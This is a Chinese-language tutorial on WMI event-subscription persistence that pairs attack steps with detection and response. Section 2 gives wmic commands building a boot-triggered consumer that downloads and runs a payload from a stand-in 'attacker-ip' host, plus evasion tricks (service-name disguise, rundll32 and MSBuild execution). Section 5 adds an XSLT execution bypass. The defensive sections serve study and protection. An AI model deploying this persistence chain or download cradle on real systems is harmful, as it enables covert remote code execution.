1. WMI事件订阅机制深度解析
Windows Management Instrumentation(WMI)是微软自Windows 2000以来内置的系统管理框架,它基于Web-Based Enterprise Management(WBEM)标准实现。作为系统管理员和安全研究人员,理解WMI的工作机制至关重要。
WMI的核心架构包含三个层次:
- CIMOM(Common Information Model Object Manager):作为WMI的核心服务,负责处理客户端请求和管理提供程序
- WMI提供程序:作为COM对象实现,向CIMOM提供各类系统信息
- WMI存储库:存储静态类定义和命名空间结构的数据库
事件订阅机制的工作流程可以类比为杂志订阅:
- 用户(事件消费者)向出版社(WMI服务)提交订阅申请(事件过滤器)
- 出版社记录用户的兴趣偏好(WQL查询条件)
- 当符合条件的新刊发布(系统事件触发),出版社立即派送(执行绑定动作)
1.1 关键类解析
在root\subscription命名空间下,存在三个核心类构成事件订阅的"铁三角":
__EventFilter类
wql复制SELECT * FROM __InstanceCreationEvent WITHIN 10
WHERE TargetInstance ISA 'Win32_Process'
AND TargetInstance.Name = 'notepad.exe'
这个示例过滤器会监控记事本进程的创建事件,WITHIN 10表示每10秒轮询一次。
EventConsumer派生类
常用的消费者类型包括:
- ActiveScriptEventConsumer:执行VBScript/JScript
- CommandLineEventConsumer:运行可执行文件
- LogFileEventConsumer:写入日志文件
- SMTPEventConsumer:发送邮件通知
__FilterToConsumerBinding类
绑定操作实际上是在WMI存储库中创建了一个关联实例,这个关联实例包含对过滤器和消费者的引用。绑定的有效性会持续到系统重启或手动删除。
重要提示:在Windows 10 1809及更高版本中,Microsoft引入了对永久WMI事件订阅的审计功能,相关操作会被记录在事件日志中(EventID 5861)。
2. WMI权限维持实战指南
2.1 环境准备与基础操作
在开始前,我们需要准备以下环境:
- 测试机:Windows 10 21H2(建议使用虚拟机)
- 攻击机:安装有netcat的Linux系统
- 关闭测试机的Windows Defender实时保护(仅用于实验环境)
基础信息收集命令
powershell复制# 列出所有命名空间
Get-WmiObject -Namespace root -Class __Namespace | Select Name
# 查询磁盘信息(可用于判断系统类型)
Get-WmiObject -Class Win32_LogicalDisk | Where {$_.DriveType -eq 3} | Select DeviceID, Size, FreeSpace
# 获取防病毒产品信息
Get-WmiObject -Namespace root\SecurityCenter2 -Class AntiVirusProduct
2.2 分步实现权限维持
步骤1:创建事件过滤器
cmd复制wmic /namespace:"\\root\subscription" PATH __EventFilter CREATE Name="PersistenceFilter", EventNameSpace="root\\cimv2", QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 120"
这个过滤器监控系统运行时间(SystemUpTime)的变化,当系统运行时间超过120秒(即重启后约2分钟)时触发。
步骤2:创建命令消费者
cmd复制wmic /namespace:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="PersistenceConsumer", ExecutablePath="C:\\Windows\\System32\\cmd.exe", CommandLineTemplate="cmd.exe /c powershell -nop -w hidden -c \"IEX (New-Object Net.WebClient).DownloadString('http://attacker-ip/payload.ps1')\""
这里使用PowerShell从远程服务器下载并执行payload,这种方式比直接放置可执行文件更隐蔽。
步骤3:创建绑定
cmd复制wmic /namespace:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"PersistenceFilter\"", Consumer="CommandLineEventConsumer.Name=\"PersistenceConsumer\""
验证配置
powershell复制Get-WmiObject -Namespace root\subscription -Class __EventFilter
Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer
Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding
2.3 高级技巧与隐蔽处理
时间参数优化
- WITHIN值设置:生产环境建议设置为300-600秒,避免频繁触发
- SystemUpTime阈值:根据目标系统使用习惯设置,通常设为300-1800秒
执行方式优化
- 使用MSBuild执行XML内嵌代码:
xml复制<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="WMIExec">
<Exec Command="$(Command)"/>
</Target>
</Project>
- 使用rundll32执行JavaScript:
javascript复制rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("cmd.exe");
日志规避技巧
- 修改消费者名称为常见服务名称(如"WindowsUpdateClient")
- 使用系统白名单程序作为执行载体(如msiexec、regsvr32)
- 设置执行时间在非工作时间段(通过修改WQL条件)
3. 防御与检测方案
3.1 企业级防护策略
组策略配置
- 启用WMI活动审核:
- 计算机配置 → 策略 → Windows设置 → 安全设置 → 高级审计策略 → 对象访问 → 审核WMI事件
- 限制WMI命名空间权限:
powershell复制# 查看当前权限 Get-WmiObject -Namespace root -Class __SystemSecurity | Invoke-WmiMethod -Name GetSecurityDescriptor | Select -Expand Descriptor # 设置新权限(需SDDL字符串) $newSD = "O:BAG:BAD:(A;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)" Get-WmiObject -Namespace root -Class __SystemSecurity | Invoke-WmiMethod -Name SetSecurityDescriptor -ArgumentList $newSD
实时监控方案
powershell复制# 创建永久事件订阅监控WMI事件订阅
$query = "SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA '__EventFilter' OR TargetInstance ISA 'CommandLineEventConsumer' OR TargetInstance ISA '__FilterToConsumerBinding'"
Register-WmiEvent -Query $query -SourceIdentifier "WMIPersistenceMonitor" -Action {
$event = $EventArgs.NewEvent.TargetInstance
Write-Host "[$(Get-Date)] WMI对象被创建: $($event.__CLASS)"
# 发送警报邮件或写入SIEM系统
}
3.2 检测与清除工具
PowerShell检测脚本
powershell复制function Detect-WMIPersistence {
$suspicious = @()
# 检测异常事件过滤器
$filters = Get-WmiObject -Namespace root\subscription -Class __EventFilter
foreach ($filter in $filters) {
if ($filter.Query -match 'Win32_PerfFormattedData|Win32_ProcessStartTrace|Win32_ModuleLoadTrace') {
$suspicious += $filter
}
}
# 检测可疑命令行消费者
$consumers = Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer
foreach ($consumer in $consumers) {
if ($consumer.CommandLineTemplate -match 'powershell|cmd\.exe|rundll32') {
$suspicious += $consumer
}
}
return $suspicious
}
清除工具使用示例
powershell复制# 批量删除可疑订阅
Get-WmiObject -Namespace root\subscription -Class __EventFilter -Filter "Name LIKE '%Persistence%'" | Remove-WmiObject
Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer -Filter "Name LIKE '%Persistence%'" | Remove-WmiObject
Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding -Filter "__Path LIKE '%Persistence%'" | Remove-WmiObject
# 重置WMI仓库(需重启)
winmgmt /resetrepository
4. 企业防护体系建设建议
4.1 纵深防御策略
-
网络层防护
- 限制WMI通信端口(TCP 135, 49152-65535)
- 部署网络IDS规则检测异常WMI流量
suricata复制alert tcp any any -> $HOME_NET 135 (msg:"WMI DCOM Activation"; content:"|05 00 0b 03|"; depth:4; sid:1000001; rev:1;) -
主机层防护
- 启用攻击面减少规则(ASR)
- 配置WDAC(Windows Defender应用程序控制)
xml复制<Rule Type="FilePublisher" ID="ID_DENY_WMI_CMD" Name="Block WMI Command Execution" Description="Block command execution via WMI" ProductName="*" BinaryName="cmd.exe"/> -
日志与监控
- 集中收集WMI活动日志(EventID 5857-5861)
- 部署SIEM关联分析规则
4.2 应急响应流程
当检测到WMI持久化攻击时,建议按以下流程处理:
-
取证阶段
powershell复制# 导出所有WMI永久事件订阅 Get-WmiObject -Namespace root\subscription -Class __EventFilter | Export-Clixml -Path C:\evidence\WMI_Filters.xml Get-WmiObject -Namespace root\subscription -Class __EventConsumer | Export-Clixml -Path C:\evidence\WMI_Consumers.xml Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding | Export-Clixml -Path C:\evidence\WMI_Bindings.xml -
遏制阶段
- 临时禁用WMI服务
cmd复制sc config winmgmt start= disabled net stop winmgmt -
根除阶段
- 使用Autoruns工具检查所有WMI条目
- 手动清理恶意WMI对象
-
恢复阶段
- 重置WMI仓库
cmd复制
winmgmt /resetrepository- 恢复WMI服务
cmd复制sc config winmgmt start= auto net start winmgmt
5. 防御技术演进与绕过分析
5.1 现代EDR对WMI的监控
主流终端检测与响应(EDR)产品通常通过以下方式监控WMI:
- 内核回调(CmRegisterCallbackEx)监控注册表修改
- ETW(Event Tracing for Windows)捕获WMI活动
- Microsoft-Windows-WMI-Activity/Trace
- Microsoft-Windows-WinRM/Trace
- AMSI(Antimalware Scan Interface)扫描脚本内容
5.2 绕过技术分析
无文件执行技术
powershell复制# 使用XSLT脚本执行
$xml = @"
<?xml version='1.0'?>
<stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:user="http://mycompany.com/mynamespace">
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
function xml(nodelist) {
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");
return nodelist.nextNode().xml;
}
</ms:script>
</stylesheet>
"@
$xslt = New-Object System.Xml.Xsl.XslCompiledTransform
$xslt.Load([System.Xml.XmlReader]::Create([System.IO.StringReader]::new($xml)))
内存注入技术
csharp复制// 使用C#编译的消费者
[ComVisible(true)]
public class WmiConsumer : IWbemUnboundObjectSink
{
public void Indicate(IntPtr objWbemObjectSet)
{
// 内存注入代码
}
}
合法进程注入
通过将恶意代码注入到以下常见WMI消费者进程:
- wmiprvse.exe(WMI提供程序主机)
- mmc.exe(使用WMI插件的管理控制台)
- svchost.exe(托管WMI服务)
这些技术手段在不断演进,防御方需要持续更新检测规则和防护策略。企业安全团队应当定期进行红队演练,测试防御体系的有效性,并不断优化防护措施。